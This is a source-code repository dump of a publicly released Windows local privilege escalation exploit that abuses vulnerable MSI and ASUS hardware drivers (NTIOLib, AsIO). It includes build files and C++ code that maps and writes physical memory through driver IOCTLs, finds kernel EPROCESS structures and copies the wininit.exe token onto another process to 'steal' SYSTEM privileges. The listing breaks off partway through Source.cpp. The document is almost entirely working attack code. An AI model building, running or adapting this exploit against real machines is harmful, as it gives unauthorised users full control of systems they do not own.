├── .gitattributes ├── .gitignore ├── MsiExploit.sln ├── MsiExploit ├── ASUSCERT.rc ├── AsIO.cpp ├── AsIO.h ├── IMemory.h ├── Makefile ├── Makefile.nmake ├── MsiExploit.vcxproj ├── NTIOLib.cpp ├── NTIOLib.h ├── Source.cpp ├── WinIO.cpp ├── WinIO.h └── make_ASUSCERT.py └── README.md /.gitattributes: -------------------------------------------------------------------------------- 1 | # Auto detect text files and perform LF normalization 2 | * text=auto 3 | 4 | # Custom for Visual Studio 5 | *.cs diff=csharp 6 | 7 | # Standard to msysgit 8 | *.doc diff=astextplain 9 | *.DOC diff=astextplain 10 | *.docx diff=astextplain 11 | *.DOCX diff=astextplain 12 | *.dot diff=astextplain 13 | *.DOT diff=astextplain 14 | *.pdf diff=astextplain 15 | *.PDF diff=astextplain 16 | *.rtf diff=astextplain 17 | *.RTF diff=astextplain 18 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | *.db 2 | *.suo 3 | *.obj 4 | *.iobj -------------------------------------------------------------------------------- /MsiExploit.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 14 4 | VisualStudioVersion = 14.0.25420.1 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "MsiExploit", "MsiExploit\MsiExploit.vcxproj", "{74B97E26-92E3-4A74-A1E3-3041907DFD38}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x64 = Debug|x64 11 | Debug|x86 = Debug|x86 12 | Release|x64 = Release|x64 13 | Release|x86 = Release|x86 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {74B97E26-92E3-4A74-A1E3-3041907DFD38}.Debug|x64.ActiveCfg = Debug|x64 17 | {74B97E26-92E3-4A74-A1E3-3041907DFD38}.Debug|x64.Build.0 = Debug|x64 18 | {74B97E26-92E3-4A74-A1E3-3041907DFD38}.Debug|x86.ActiveCfg = Debug|Win32 19 | {74B97E26-92E3-4A74-A1E3-3041907DFD38}.Debug|x86.Build.0 = Debug|Win32 20 | {74B97E26-92E3-4A74-A1E3-3041907DFD38}.Release|x64.ActiveCfg = Release|x64 21 | {74B97E26-92E3-4A74-A1E3-3041907DFD38}.Release|x64.Build.0 = Release|x64 22 | {74B97E26-92E3-4A74-A1E3-3041907DFD38}.Release|x86.ActiveCfg = Release|Win32 23 | {74B97E26-92E3-4A74-A1E3-3041907DFD38}.Release|x86.Build.0 = Release|Win32 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | EndGlobal 29 | -------------------------------------------------------------------------------- /MsiExploit/ASUSCERT.rc: -------------------------------------------------------------------------------- 1 | ASUSCERT RCDATA ASUSCERT_now.dat 2 | -------------------------------------------------------------------------------- /MsiExploit/AsIO.cpp: -------------------------------------------------------------------------------- 1 | /** 2 | * 3 | * MSI NTIOLib/AsIO privilege escalation exploit 4 | * 5 | * Copyright (c) 2016 ReWolf 6 | * http://blog.rewolf.pl/ 7 | * http://blog.rewolf.pl/blog/?p=1630 8 | * 9 | * This program is free software: you can redistribute it and/or modify 10 | * it under the terms of the GNU Lesser General Public License as published 11 | * by the Free Software Foundation, either version 3 of the License, or 12 | * (at your option) any later version. 13 | * 14 | * This program is distributed in the hope that it will be useful, 15 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 16 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 17 | * GNU Lesser General Public License for more details. 18 | * 19 | * You should have received a copy of the GNU Lesser General Public License 20 | * along with this program. If not, see . 21 | * 22 | */ 23 | #include 24 | #include 25 | #include "AsIO.h" 26 | 27 | AsIO::AsIO() 28 | { 29 | hDevice = CreateFileA("\\\\.\\Asusgio2", 0xC0000000, 0, 0, 3u, 0x80u, 0); 30 | 31 | if (hDevice == INVALID_HANDLE_VALUE) { 32 | printf("[!] Unable to open device\r\n"); 33 | } 34 | else { 35 | printf("[+] Asusgio2 device opened\r\n"); 36 | } 37 | } 38 | 39 | AsIO::~AsIO() 40 | { 41 | if (INVALID_HANDLE_VALUE != hDevice) 42 | CloseHandle(hDevice); 43 | } 44 | 45 | uint8_t* AsIO::mapPhysicalMemory(uint64_t physAddr, size_t size, asioMem& mem) const 46 | { 47 | if (INVALID_HANDLE_VALUE != hDevice) 48 | { 49 | memset(&mem, 0, sizeof(asioMem)); 50 | mem.addr = physAddr; 51 | mem.size = size; 52 | DWORD retSize; 53 | BOOL r = DeviceIoControl(hDevice, 0xA040A480, &mem, sizeof(asioMem), &mem, sizeof(asioMem), &retSize, 0); 54 | if (r) 55 | return (uint8_t*)mem.outPtr; 56 | } 57 | return nullptr; 58 | } 59 | 60 | void AsIO::unmapPhysicalMemory(asioMem& mem) const 61 | { 62 | if (INVALID_HANDLE_VALUE != hDevice) 63 | { 64 | DWORD retSize; 65 | DeviceIoControl(hDevice, 0xA0402450, &mem, sizeof(asioMem), 0, 0, &retSize, 0); 66 | } 67 | } 68 | 69 | bool AsIO::readPhysicalMemory(uint64_t physAddress, uint8_t* buffer, size_t size) const 70 | { 71 | if (INVALID_HANDLE_VALUE != hDevice) 72 | { 73 | asioMem mem; 74 | uint8_t* tmp = mapPhysicalMemory(physAddress, size, mem); 75 | if (nullptr != tmp) 76 | { 77 | memcpy(buffer, tmp, size); 78 | unmapPhysicalMemory(mem); 79 | } 80 | } 81 | return false; 82 | } 83 | 84 | MemoryAsIO::MemoryAsIO() 85 | { 86 | memset(&m_IMemoryHelper, 0, sizeof(m_IMemoryHelper)); 87 | } 88 | 89 | uint8_t* MemoryAsIO::getMemory(uint64_t physAddr, size_t size) 90 | { 91 | reset(); 92 | return m_WinIo.mapPhysicalMemory(physAddr, size, m_IMemoryHelper); 93 | } 94 | 95 | void MemoryAsIO::commitMemory() 96 | { 97 | if (0 != m_IMemoryHelper.outPtr) 98 | { 99 | m_WinIo.unmapPhysicalMemory(m_IMemoryHelper); 100 | memset(&m_IMemoryHelper, 0, sizeof(m_IMemoryHelper)); 101 | } 102 | } 103 | 104 | void MemoryAsIO::reset() 105 | { 106 | commitMemory(); 107 | } 108 | 109 | uint64_t MemoryAsIO::getPhysicalAddress() 110 | { 111 | return m_IMemoryHelper.addr; 112 | } 113 | 114 | namespace { 115 | template 116 | void Write(uint64_t address, const T& value) { 117 | printf("Write at : %016" PRIx64 "\n", address); 118 | *reinterpret_cast(address) = value; 119 | } 120 | } 121 | 122 | void MemoryAsIO::commitValue(size_t offsetInBuf, uint64_t value) 123 | { 124 | Write(m_IMemoryHelper.outPtr + offsetInBuf, value); 125 | commitMemory(); 126 | } 127 | -------------------------------------------------------------------------------- /MsiExploit/AsIO.h: -------------------------------------------------------------------------------- 1 | /** 2 | * 3 | * MSI NTIOLib/AsIO privilege escalation exploit 4 | * 5 | * Copyright (c) 2016 ReWolf 6 | * http://blog.rewolf.pl/ 7 | * http://blog.rewolf.pl/blog/?p=1630 8 | * 9 | * This program is free software: you can redistribute it and/or modify 10 | * it under the terms of the GNU Lesser General Public License as published 11 | * by the Free Software Foundation, either version 3 of the License, or 12 | * (at your option) any later version. 13 | * 14 | * This program is distributed in the hope that it will be useful, 15 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 16 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 17 | * GNU Lesser General Public License for more details. 18 | * 19 | * You should have received a copy of the GNU Lesser General Public License 20 | * along with this program. If not, see . 21 | * 22 | */ 23 | #pragma once 24 | #include 25 | #include 26 | #include "IMemory.h" 27 | 28 | #pragma pack(push) 29 | #pragma pack(1) 30 | struct asioMem 31 | { 32 | uint64_t size; 33 | uint64_t addr; 34 | uint64_t physmemHdl; 35 | uint64_t outPtr; 36 | uint64_t physmemObj; 37 | }; 38 | #pragma pack(pop) 39 | 40 | class AsIO 41 | { 42 | private: 43 | HANDLE hDevice; 44 | 45 | public: 46 | AsIO(); 47 | virtual ~AsIO(); 48 | uint8_t* mapPhysicalMemory(uint64_t physAddr, size_t size, asioMem& mem) const; 49 | void unmapPhysicalMemory(asioMem& mem) const; 50 | bool readPhysicalMemory(uint64_t physAddress, uint8_t* buffer, size_t size) const; 51 | }; 52 | 53 | class MemoryAsIO : public IMemory 54 | { 55 | private: 56 | AsIO m_WinIo; 57 | asioMem m_IMemoryHelper; 58 | 59 | public: 60 | MemoryAsIO(); 61 | uint8_t* getMemory(uint64_t physAddr, size_t size = 0x1000) override; 62 | void commitMemory() override; 63 | void reset() override; 64 | uint64_t getPhysicalAddress() override; 65 | void commitValue(size_t offsetInBuf, uint64_t value) override; 66 | }; 67 | -------------------------------------------------------------------------------- /MsiExploit/IMemory.h: -------------------------------------------------------------------------------- 1 | /** 2 | * 3 | * MSI NTIOLib/WinIO privilege escalation exploit 4 | * 5 | * Copyright (c) 2016 ReWolf 6 | * http://blog.rewolf.pl/ 7 | * http://blog.rewolf.pl/blog/?p=1630 8 | * 9 | * This program is free software: you can redistribute it and/or modify 10 | * it under the terms of the GNU Lesser General Public License as published 11 | * by the Free Software Foundation, either version 3 of the License, or 12 | * (at your option) any later version. 13 | * 14 | * This program is distributed in the hope that it will be useful, 15 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 16 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 17 | * GNU Lesser General Public License for more details. 18 | * 19 | * You should have received a copy of the GNU Lesser General Public License 20 | * along with this program. If not, see . 21 | * 22 | */ 23 | #pragma once 24 | 25 | class IMemory 26 | { 27 | public: 28 | virtual ~IMemory() {}; 29 | virtual uint8_t* getMemory(uint64_t physAddr, size_t size = 0x1000) = 0; 30 | virtual void commitMemory() = 0; 31 | virtual void reset() = 0; 32 | virtual uint64_t getPhysicalAddress() = 0; 33 | virtual void commitValue(size_t offsetInBuf, uint64_t value) = 0; 34 | }; 35 | -------------------------------------------------------------------------------- /MsiExploit/Makefile: -------------------------------------------------------------------------------- 1 | exploit: Source.cpp NTIOLib.cpp WinIO.cpp ASUSCERT.o 2 | x86_64-w64-mingw32-g++ -static-libstdc++ -static-libgcc -W -Wall -Wno-cast-function-type -Wno-unknown-pragmas -O2 -o exploit Source.cpp NTIOLib.cpp WinIO.cpp AsIO.cpp ASUSCERT.o -lkernel32 -lole32 -loleaut32 -lwbemuuid -lshlwapi 3 | # 4 | # Generate a new ASUSCERT resource 5 | ASUSCERT.o: 6 | ./make_ASUSCERT.py 7 | x86_64-w64-mingw32-windres ASUSCERT.rc ASUSCERT.o 8 | 9 | clean: 10 | rm -f exploit.exe ASUSCERT.o ASUSCERT_now.dat 11 | 12 | .PHONY: ASUSCERT.o 13 | 14 | -------------------------------------------------------------------------------- /MsiExploit/Makefile.nmake: -------------------------------------------------------------------------------- 1 | exploit: Source.cpp NTIOLib.cpp WinIO.cpp ASUSCERT.res 2 | cl.exe /O2 /EHsc Source.cpp NTIOLib.cpp WinIO.cpp AsIO.cpp ASUSCERT.res /link /out:exploit.exe 3 | # 4 | # Generate a new ASUSCERT resource 5 | ASUSCERT.res: .PHONY 6 | python make_ASUSCERT.py 7 | rc ASUSCERT.rc 8 | 9 | .PHONY: 10 | -------------------------------------------------------------------------------- /MsiExploit/MsiExploit.vcxproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | {74B97E26-92E3-4A74-A1E3-3041907DFD38} 23 | Win32Proj 24 | MsiExploit 25 | 10.0.17134.0 26 | 27 | 28 | 29 | Application 30 | true 31 | v141 32 | Unicode 33 | 34 | 35 | Application 36 | false 37 | v141 38 | true 39 | Unicode 40 | 41 | 42 | Application 43 | true 44 | v141 45 | Unicode 46 | 47 | 48 | Application 49 | false 50 | v141 51 | true 52 | Unicode 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | true 74 | 75 | 76 | true 77 | 78 | 79 | false 80 | 81 | 82 | false 83 | 84 | 85 | 86 | 87 | 88 | Level3 89 | Disabled 90 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 91 | 92 | 93 | Console 94 | true 95 | 96 | 97 | 98 | 99 | 100 | 101 | Level3 102 | Disabled 103 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 104 | 105 | 106 | Console 107 | true 108 | 109 | 110 | 111 | 112 | Level3 113 | 114 | 115 | MaxSpeed 116 | true 117 | true 118 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 119 | MultiThreaded 120 | 121 | 122 | Console 123 | true 124 | true 125 | true 126 | 127 | 128 | 129 | 130 | Level3 131 | 132 | 133 | MaxSpeed 134 | true 135 | true 136 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 137 | 138 | 139 | Console 140 | true 141 | true 142 | true 143 | 144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | 160 | -------------------------------------------------------------------------------- /MsiExploit/NTIOLib.cpp: -------------------------------------------------------------------------------- 1 | /** 2 | * 3 | * MSI NTIOLib/WinIO privilege escalation exploit 4 | * 5 | * Copyright (c) 2016 ReWolf 6 | * http://blog.rewolf.pl/ 7 | * http://blog.rewolf.pl/blog/?p=1630 8 | * 9 | * This program is free software: you can redistribute it and/or modify 10 | * it under the terms of the GNU Lesser General Public License as published 11 | * by the Free Software Foundation, either version 3 of the License, or 12 | * (at your option) any later version. 13 | * 14 | * This program is distributed in the hope that it will be useful, 15 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 16 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 17 | * GNU Lesser General Public License for more details. 18 | * 19 | * You should have received a copy of the GNU Lesser General Public License 20 | * along with this program. If not, see . 21 | * 22 | */ 23 | #include "NTIOLib.h" 24 | 25 | NTIOLib::NTIOLib() 26 | { 27 | static const char* const driverNames[] = 28 | { 29 | "\\\\.\\NTIOLib_FastBoot", 30 | "\\\\.\\NTIOLib_MSIDDR_CC", 31 | "\\\\.\\NTIOLib_MSISMB_CC", 32 | "\\\\.\\NTIOLib_MSISuperIO_CC", 33 | "\\\\.\\NTIOLib_MSIClock_CC", 34 | "\\\\.\\NTIOLib_MSICOMM_CC", 35 | "\\\\.\\NTIOLib_MSIFrequency_CC", 36 | "\\\\.\\NTIOLib_1_0_2", 37 | "\\\\.\\NTIOLib_1_0_3", 38 | "\\\\.\\NTIOLib_1_0_4", 39 | "\\\\.\\NTIOLib_1_0_6", 40 | "\\\\.\\NTIOLib_MSICPU_CC", 41 | "\\\\.\\NTIOLib_MB", 42 | "\\\\.\\NTIOLib_ACTIVE_X" 43 | }; 44 | for (unsigned int i = 0; i < _countof(driverNames); i++) 45 | { 46 | hDevice = CreateFileA(driverNames[i], 0xC0000000, 0, 0, 3u, 0x80u, 0); 47 | if (INVALID_HANDLE_VALUE != hDevice) 48 | break; 49 | } 50 | } 51 | 52 | NTIOLib::~NTIOLib() 53 | { 54 | if (INVALID_HANDLE_VALUE != hDevice) 55 | CloseHandle(hDevice); 56 | } 57 | 58 | uint64_t NTIOLib::readPmc(uint32_t pmc) const 59 | { 60 | uint64_t ret = 0; 61 | if (INVALID_HANDLE_VALUE != hDevice) 62 | { 63 | DWORD retSize; 64 | DeviceIoControl(hDevice, 0xC350208C, &pmc, sizeof(pmc), &ret, sizeof(ret), &retSize, 0); 65 | } 66 | return ret; 67 | } 68 | 69 | uint64_t NTIOLib::readMsr(uint32_t msr) const 70 | { 71 | uint64_t ret = 0; 72 | if (INVALID_HANDLE_VALUE != hDevice) 73 | { 74 | DWORD retSize; 75 | DeviceIoControl(hDevice, 0xC3502084, &msr, sizeof(msr), &ret, sizeof(ret), &retSize, 0); 76 | } 77 | return ret; 78 | } 79 | 80 | bool NTIOLib::writeMsr(uint32_t msr, uint64_t value) const 81 | { 82 | if (INVALID_HANDLE_VALUE != hDevice) 83 | { 84 | DWORD retSize; 85 | if (DeviceIoControl(hDevice, 0xC3502088, &msr, sizeof(msr), &value, sizeof(value), &retSize, 0)) 86 | return true; 87 | } 88 | return false; 89 | } 90 | 91 | bool NTIOLib::readPhysicalMemory(uint64_t physAddress, uint8_t* buffer, size_t size) const 92 | { 93 | if (INVALID_HANDLE_VALUE != hDevice) 94 | { 95 | DWORD retSize; 96 | rwMemStruct st = { physAddress, 1, (uint32_t) size }; 97 | if (DeviceIoControl(hDevice, 0xC3506104, &st, sizeof(st), buffer, (uint32_t)size, &retSize, 0)) 98 | return true; 99 | } 100 | return false; 101 | } 102 | 103 | bool NTIOLib::writePhysicalMemory(uint64_t physAddress, const uint8_t* buffer, size_t size) const 104 | { 105 | bool ret = false; 106 | if (INVALID_HANDLE_VALUE != hDevice) 107 | { 108 | DWORD retSize; 109 | rwMemStruct st = { physAddress, 1, (uint32_t)size }; 110 | uint8_t* mem = (uint8_t*)malloc(sizeof(rwMemStruct) + size); 111 | if (nullptr == mem) 112 | return false; 113 | memcpy(mem, &st, sizeof(st)); 114 | memcpy(mem + sizeof(st), buffer, size); 115 | ret = DeviceIoControl(hDevice, 0xC350A108, mem, sizeof(rwMemStruct) + (uint32_t) size, 0, 0, &retSize, 0) == TRUE; 116 | free(mem); 117 | } 118 | return ret; 119 | } 120 | 121 | void NTIOLib::halt() const 122 | { 123 | if (INVALID_HANDLE_VALUE != hDevice) 124 | { 125 | DWORD retSize; 126 | DeviceIoControl(hDevice, 0xC3502090, 0, 0, 0, 0, &retSize, 0); 127 | } 128 | } 129 | 130 | bool NTIOLib::in8(uint16_t port, uint8_t& outv) const 131 | { 132 | if (INVALID_HANDLE_VALUE != hDevice) 133 | { 134 | DWORD retSize; 135 | uint32_t tmp = port; 136 | if (DeviceIoControl(hDevice, 0xC35060CC, &tmp, sizeof(tmp), &outv, sizeof(uint8_t), &retSize, 0)) 137 | return true; 138 | } 139 | return false; 140 | } 141 | 142 | bool NTIOLib::out8(uint16_t port, uint8_t inv) const 143 | { 144 | if (INVALID_HANDLE_VALUE != hDevice) 145 | { 146 | DWORD retSize; 147 | uint8_t buf[5] = { 0 }; 148 | memcpy(buf, &port, sizeof(port)); 149 | buf[4] = inv; 150 | if (DeviceIoControl(hDevice, 0xC350A0D8, buf, sizeof(buf), 0, 0, &retSize, 0)) 151 | return true; 152 | } 153 | return false; 154 | } 155 | 156 | MemoryNTIOLib::MemoryNTIOLib() : m_IMemoryHelper(nullptr), m_IMemoryHelperSize(0), m_IMemoryHelperAddr(0) {} 157 | 158 | uint8_t* MemoryNTIOLib::getMemory(uint64_t physAddr, size_t size) 159 | { 160 | reset(); 161 | uint8_t* ret = (uint8_t*)malloc(size); 162 | if (nullptr == ret) 163 | return ret; 164 | if (m_ntio.readPhysicalMemory(physAddr, ret, size)) 165 | { 166 | m_IMemoryHelper = ret; 167 | m_IMemoryHelperSize = size; 168 | m_IMemoryHelperAddr = physAddr; 169 | return ret; 170 | } 171 | free(ret); 172 | return nullptr; 173 | } 174 | 175 | void MemoryNTIOLib::commitMemory() 176 | { 177 | if (nullptr != m_IMemoryHelper) 178 | { 179 | m_ntio.writePhysicalMemory(m_IMemoryHelperAddr, m_IMemoryHelper, m_IMemoryHelperSize); 180 | free(m_IMemoryHelper); 181 | m_IMemoryHelper = 0; 182 | m_IMemoryHelperAddr = 0; 183 | m_IMemoryHelperSize = 0; 184 | } 185 | } 186 | 187 | void MemoryNTIOLib::reset() 188 | { 189 | if (nullptr != m_IMemoryHelper) 190 | { 191 | free(m_IMemoryHelper); 192 | m_IMemoryHelper = 0; 193 | m_IMemoryHelperAddr = 0; 194 | m_IMemoryHelperSize = 0; 195 | } 196 | } 197 | 198 | uint64_t MemoryNTIOLib::getPhysicalAddress() 199 | { 200 | return m_IMemoryHelperAddr; 201 | } 202 | 203 | namespace { 204 | template 205 | void Write(const NTIOLib& ntio, uint64_t address, const T& value) { 206 | ntio.writePhysicalMemory(address, reinterpret_cast(&value), sizeof(T)); 207 | } 208 | } 209 | 210 | void MemoryNTIOLib::commitValue(size_t offsetInBuf, uint64_t value) 211 | { 212 | Write(m_ntio, m_IMemoryHelperAddr + offsetInBuf, value); 213 | reset(); 214 | } 215 | -------------------------------------------------------------------------------- /MsiExploit/NTIOLib.h: -------------------------------------------------------------------------------- 1 | /** 2 | * 3 | * MSI NTIOLib/WinIO privilege escalation exploit 4 | * 5 | * Copyright (c) 2016 ReWolf 6 | * http://blog.rewolf.pl/ 7 | * http://blog.rewolf.pl/blog/?p=1630 8 | * 9 | * This program is free software: you can redistribute it and/or modify 10 | * it under the terms of the GNU Lesser General Public License as published 11 | * by the Free Software Foundation, either version 3 of the License, or 12 | * (at your option) any later version. 13 | * 14 | * This program is distributed in the hope that it will be useful, 15 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 16 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 17 | * GNU Lesser General Public License for more details. 18 | * 19 | * You should have received a copy of the GNU Lesser General Public License 20 | * along with this program. If not, see . 21 | * 22 | */ 23 | #pragma once 24 | #include 25 | #include 26 | #include "IMemory.h" 27 | 28 | class NTIOLib 29 | { 30 | private: 31 | HANDLE hDevice; 32 | 33 | #pragma pack(push) 34 | #pragma pack(1) 35 | struct rwMemStruct 36 | { 37 | uint64_t addr; 38 | uint32_t itemSize; //1, 2, 4 39 | uint32_t itemCount; 40 | }; 41 | #pragma pack(pop) 42 | 43 | public: 44 | NTIOLib(); 45 | ~NTIOLib(); 46 | uint64_t readPmc(uint32_t pmc) const; 47 | uint64_t readMsr(uint32_t msr) const; 48 | bool writeMsr(uint32_t msr, uint64_t value) const; 49 | bool readPhysicalMemory(uint64_t physAddress, uint8_t* buffer, size_t size) const; 50 | bool writePhysicalMemory(uint64_t physAddress, const uint8_t* buffer, size_t size) const; 51 | void halt() const; 52 | bool in8(uint16_t port, uint8_t& outv) const; 53 | bool out8(uint16_t port, uint8_t inv) const; 54 | }; 55 | 56 | class MemoryNTIOLib : public IMemory 57 | { 58 | private: 59 | NTIOLib m_ntio; 60 | uint8_t* m_IMemoryHelper; 61 | size_t m_IMemoryHelperSize; 62 | uint64_t m_IMemoryHelperAddr; 63 | 64 | public: 65 | MemoryNTIOLib(); 66 | uint8_t* getMemory(uint64_t physAddr, size_t size = 0x1000) override; 67 | void commitMemory() override; 68 | void reset() override; 69 | uint64_t getPhysicalAddress() override; 70 | void commitValue(size_t offsetInBuf, uint64_t value) override; 71 | }; 72 | -------------------------------------------------------------------------------- /MsiExploit/Source.cpp: -------------------------------------------------------------------------------- 1 | /** 2 | * 3 | * MSI NTIOLib/WinIO privilege escalation exploit 4 | * 5 | * Copyright (c) 2016 ReWolf 6 | * http://blog.rewolf.pl/ 7 | * http://blog.rewolf.pl/blog/?p=1630 8 | * 9 | * This program is free software: you can redistribute it and/or modify 10 | * it under the terms of the GNU Lesser General Public License as published 11 | * by the Free Software Foundation, either version 3 of the License, or 12 | * (at your option) any later version. 13 | * 14 | * This program is distributed in the hope that it will be useful, 15 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 16 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 17 | * GNU Lesser General Public License for more details. 18 | * 19 | * You should have received a copy of the GNU Lesser General Public License 20 | * along with this program. If not, see . 21 | * 22 | */ 23 | #define NOMINMAX 24 | #include 25 | #include 26 | #include 27 | #include 28 | #include 29 | #include 30 | #include 31 | #include 32 | #include 33 | #include 34 | #include 35 | #include 36 | #include 37 | #include 38 | #include 39 | 40 | #include "IMemory.h" 41 | #include "WinIO.h" 42 | #include "NTIOLib.h" 43 | #include "AsIO.h" 44 | 45 | #pragma comment(lib, "shlwapi.lib") 46 | #pragma comment(lib, "wbemuuid.lib") 47 | 48 | static const char SystemProcessNameA[] = "wininit.exe"; 49 | static const wchar_t SystemProcessNameW[] = L"wininit.exe"; 50 | 51 | //CONSTANT definitions for Windows 10 TH2/RS1 x64 52 | static const uint32_t PoolHeaderDelta = 0x0080; // size of POOL_HEADER, OBJECT_HEADER and some other optional header info structures 53 | static const uint32_t EprocessImageFileNameSize = 0x000F; // size of ImageFileName field in EPROCESS 54 | static const uint32_t EprocessImageFileName = 0x0450; // offset of ImageFileName field in EPROCESS 55 | static const uint32_t EprocessUniqueProcessId = 0x02E8; // offset of UniqueProcessId field in EPROCESS 56 | static uint32_t EprocessToken = 0x0358; // offset of Token field in EPROCESS 57 | 58 | // for MinGW 59 | extern "C" WINBASEAPI BOOL WINAPI GetPhysicallyInstalledSystemMemory(PULONGLONG); 60 | typedef NTSTATUS(__stdcall*RtlGetVersionT)(PRTL_OSVERSIONINFOW lpVersionInformation); 61 | 62 | void iteratePhysicalMemory(IMemory& memory, std::unordered_map hwMapping, std::function func) 63 | { 64 | uint64_t MaxMem = 0; 65 | GetPhysicallyInstalledSystemMemory(&MaxMem); 66 | MaxMem += MaxMem / 2; // add 50% due to "holes" for hardware io access 67 | static const uint64_t step = 0x1000LL; 68 | for (uint64_t i = 0; i < MaxMem * 1024; i += step) 69 | { 70 | auto it = hwMapping.find(i); 71 | if (it != hwMapping.end()) 72 | { 73 | i += it->second; 74 | } 75 | uint8_t* addr = memory.getMemory(i, step); 76 | if (nullptr != addr) 77 | { 78 | if (func(memory, addr, step)) 79 | { 80 | memory.reset(); 81 | return; 82 | } 83 | memory.reset(); 84 | } 85 | } 86 | } 87 | 88 | enum EprocessAction 89 | { 90 | StealToken, 91 | ReuseToken 92 | }; 93 | 94 | bool doEprocessAction(IMemory& memory, const uint8_t* addr, size_t size, uint32_t pid, const char* procName, EprocessAction action, uint64_t& stolenToken) 95 | { 96 | size_t curSize = size; 97 | for (uint32_t x = 0; x < size - 4; x++) 98 | { 99 | if (0 == memcmp(addr + x, "Proc", 4)) 100 | { 101 | if (x + PoolHeaderDelta - 4 + EprocessImageFileName + EprocessImageFileNameSize > curSize) 102 | { 103 | addr = memory.getMemory(memory.getPhysicalAddress(), 2 * size); 104 | curSize = 2 * size; 105 | } 106 | 107 | if ((nullptr != addr) && (*(uint64_t*)(addr + x + PoolHeaderDelta - 4 + EprocessUniqueProcessId) == pid)) 108 | { 109 | printf("EPROCESS: %s, token: %016" PRIx64 ", PID: %016" PRIx64 "\n", addr + x + PoolHeaderDelta - 4 + EprocessImageFileName, *(uint64_t*)(addr + x + PoolHeaderDelta - 4 + EprocessToken), *(uint64_t*)(addr + x + PoolHeaderDelta - 4 + EprocessUniqueProcessId)); 110 | if (0 == _stricmp((char*)addr + x + PoolHeaderDelta - 4 + EprocessImageFileName, procName)) 111 | { 112 | if (StealToken == action) 113 | { 114 | printf("Stealing token...\n"); 115 | stolenToken = *(uint64_t*)(addr + x + PoolHeaderDelta - 4 + EprocessToken); 116 | } 117 | else 118 | { 119 | printf("Reusing token...\n"); 120 | memory.commitValue(x + PoolHeaderDelta - 4 + EprocessToken, stolenToken); 121 | } 122 | return true; 123 | } 124 | } 125 | } 126 | } 127 | return false; 128 | } 129 | 130 | uint32_t getSystemProcessPid() 131 | { 132 | HANDLE toolhelp = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); 133 | if (INVALID_HANDLE_VALUE == toolhelp) 134 | return 0; 135 | PROCESSENTRY32W procEntry; 136 | memset(&procEntry, 0, sizeof(procEntry)); 137 | procEntry.dwSize = sizeof(procEntry); 138 | if (Process32FirstW(toolhelp, &procEntry)) 139 | { 140 | do 141 | { 142 | if (0 == _wcsicmp(procEntry.szExeFile, SystemProcessNameW)) 143 | { 144 | CloseHandle(toolhelp); 145 | return procEntry.th32ProcessID; 146 | } 147 | } while (Process32NextW(toolhelp, &procEntry)); 148 | } 149 | return 0; 150 | } 151 | 152 | void getHardwareMappings(std::unordered_map& hardwareMappings) 153 | { 154 | if (FAILED(CoInitializeEx(0, COINIT_MULTITHREADED))) 155 | { 156 | return; 157 | } 158 | 159 | if (FAILED(CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_DEFAULT, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, EOAC_NONE, NULL))) 160 | { 161 | CoUninitialize(); 162 | return; 163 | } 164 | 165 | IWbemLocator *pLoc = NULL; 166 | if (FAILED(CoCreateInstance(CLSID_WbemLocator, 0, CLSCTX_INPROC_SERVER, IID_IWbemLocator, (LPVOID *)&pLoc))) 167 | { 168 | CoUninitialize(); 169 | return; 170 | } 171 | 172 | IWbemServices *pSvc = NULL; 173 | if (FAILED(pLoc->ConnectServer(bstr_t(L"ROOT\\CIMV2"), NULL, NULL, 0, 0, 0, 0, &pSvc))) 174 | { 175 | pLoc->Release(); 176 | CoUninitialize(); 177 | return; 178 | } 179 | 180 | if (FAILED(CoSetProxyBlanket(pSvc, RPC_C_AUTHN_WINNT, RPC_C_AUTHZ_NONE, NULL, RPC_C_AUTHN_LEVEL_CALL, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, EOAC_NONE))) 181 | { 182 | pSvc->Release(); 183 | pLoc->Release(); 184 | CoUninitialize(); 185 | return; 186 | } 187 | 188 | IEnumWbemClassObject* pEnumerator = NULL; 189 | if (FAILED(pSvc->ExecQuery(bstr_t(L"WQL"), bstr_t(L"SELECT * FROM Win32_DeviceMemoryAddress"), WBEM_FLAG_FORWARD_ONLY | WBEM_FLAG_RETURN_IMMEDIATELY, NULL, &pEnumerator))) 190 | { 191 | pSvc->Release(); 192 | pLoc->Release(); 193 | 